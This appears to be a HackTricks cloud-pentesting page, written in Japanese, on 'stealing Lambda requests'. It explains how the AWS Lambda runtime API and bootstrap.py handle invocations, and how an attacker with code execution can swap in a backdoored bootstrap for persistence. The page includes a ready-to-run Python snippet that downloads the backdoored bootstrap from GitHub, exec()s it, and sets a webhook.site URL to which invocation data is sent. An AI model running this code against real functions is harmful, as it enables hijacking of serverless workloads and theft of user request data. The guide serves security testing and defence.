# AWS - Lambdaリクエストの盗難

{{#include ../../../../banners/hacktricks-training.md}}

## Lambdaフロー

<figure><img src="../../../../images/image (341).png" alt=""><figcaption><p><a href="https://unit42.paloaltonetworks.com/wp-content/uploads/2019/10/lambda_poc_2_arch.png">https://unit42.paloaltonetworks.com/wp-content/uploads/2019/10/lambda_poc_2_arch.png</a></p></figcaption></figure>

1. **Slicer**はコンテナ外のプロセスで、**init**プロセスに**呼び出し**を**送信**します。
2. initプロセスはポート**9001**でリッスンし、いくつかの興味深いエンドポイントを公開しています：
- **`/2018-06-01/runtime/invocation/next`** – 次の呼び出しイベントを取得
- **`/2018-06-01/runtime/invocation/{invoke-id}/response`** – 呼び出しのハンドラー応答を返す
- **`/2018-06-01/runtime/invocation/{invoke-id}/error`** – 実行エラーを返す
3. **bootstrap.py**はinitプロセスから呼び出しを取得するループを持ち、それらを処理するためにユーザーコードを呼び出します（**`/next`**）。
4. 最後に、**bootstrap.py**はinitに**応答**を送信します。

bootstrapはユーザーコードをモジュールとして読み込むため、ユーザーコードによって実行されるコードは実際にはこのプロセス内で発生しています。

## Lambdaリクエストの盗難

この攻撃の目的は、ユーザーコードが脆弱なリクエストを処理する**`bootstrap.py`**プロセス内で悪意のある**`bootstrap.py`**プロセスを実行させることです。このようにして、**悪意のあるbootstrap**プロセスは**initプロセスと通信を開始**し、リクエストを処理しますが、**正当な**bootstrapは**トラップ**されて悪意のあるものを実行しているため、initプロセスにリクエストを要求しません。

これは、ユーザーのコードが正当な**`bootstrap.py`**プロセスによって実行されているため、簡単に達成できるタスクです。したがって、攻撃者は次のことができます：

- **現在の呼び出しの偽の結果をinitプロセスに送信**し、initがbootstrapプロセスがさらに呼び出しを待っていると考えさせる。
- リクエストは**`/${invoke-id}/response`**に送信する必要があります。
- invoke-idは、正当な**`bootstrap.py`**プロセスのスタックから[**inspect**](https://docs.python.org/3/library/inspect.html) pythonモジュールを使用して取得することができます（[ここで提案されたように](https://github.com/twistlock/lambda-persistency-poc/blob/master/poc/switch_runtime.py)）または再度**`/2018-06-01/runtime/invocation/next`**にリクエストすることでも取得できます（[ここで提案されたように](https://github.com/Djkusik/serverless_persistency_poc/blob/master/gcp/exploit_files/switcher.py)）。
- 次の呼び出しを処理する悪意のある**`boostrap.py`**を実行する。
- ステルス性の目的で、lambda呼び出しパラメータを攻撃者が制御するC2に送信し、その後リクエストを通常通り処理することが可能です。
- この攻撃では、システムから**`bootstrap.py`**の元のコードを取得するか、[**github**](https://github.com/aws/aws-lambda-python-runtime-interface-client/blob/main/awslambdaric/bootstrap.py)から取得し、悪意のあるコードを追加して現在のlambda呼び出しから実行するだけで十分です。

### 攻撃手順

1. **RCE**脆弱性を見つける。
2. **悪意のある** **bootstrap**を生成する（例：[https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py](https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py)）。
3. **悪意のあるbootstrapを実行する**。

これらのアクションは簡単に実行できます：
```bash
python3 <<EOF
import os
import urllib3

# Download backdoored bootstrap
http = urllib3.PoolManager()
backdoored_bootstrap_url = "https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py"
new_runtime = http.request('GET', backdoored_bootstrap_url).data

# Load new bootstrap
os.environ['URL_EXFIL'] = "https://webhook.site/c7036f43-ce42-442f-99a6-8ab21402a7c0"

exec(new_runtime)
EOF
```
詳細については、[https://github.com/carlospolop/lambda_bootstrap_switcher](https://github.com/carlospolop/lambda_bootstrap_switcher)を確認してください。

## 参考文献

- [https://unit42.paloaltonetworks.com/gaining-persistency-vulnerable-lambdas/](https://unit42.paloaltonetworks.com/gaining-persistency-vulnerable-lambdas/)

{{#include ../../../../banners/hacktricks-training.md}}
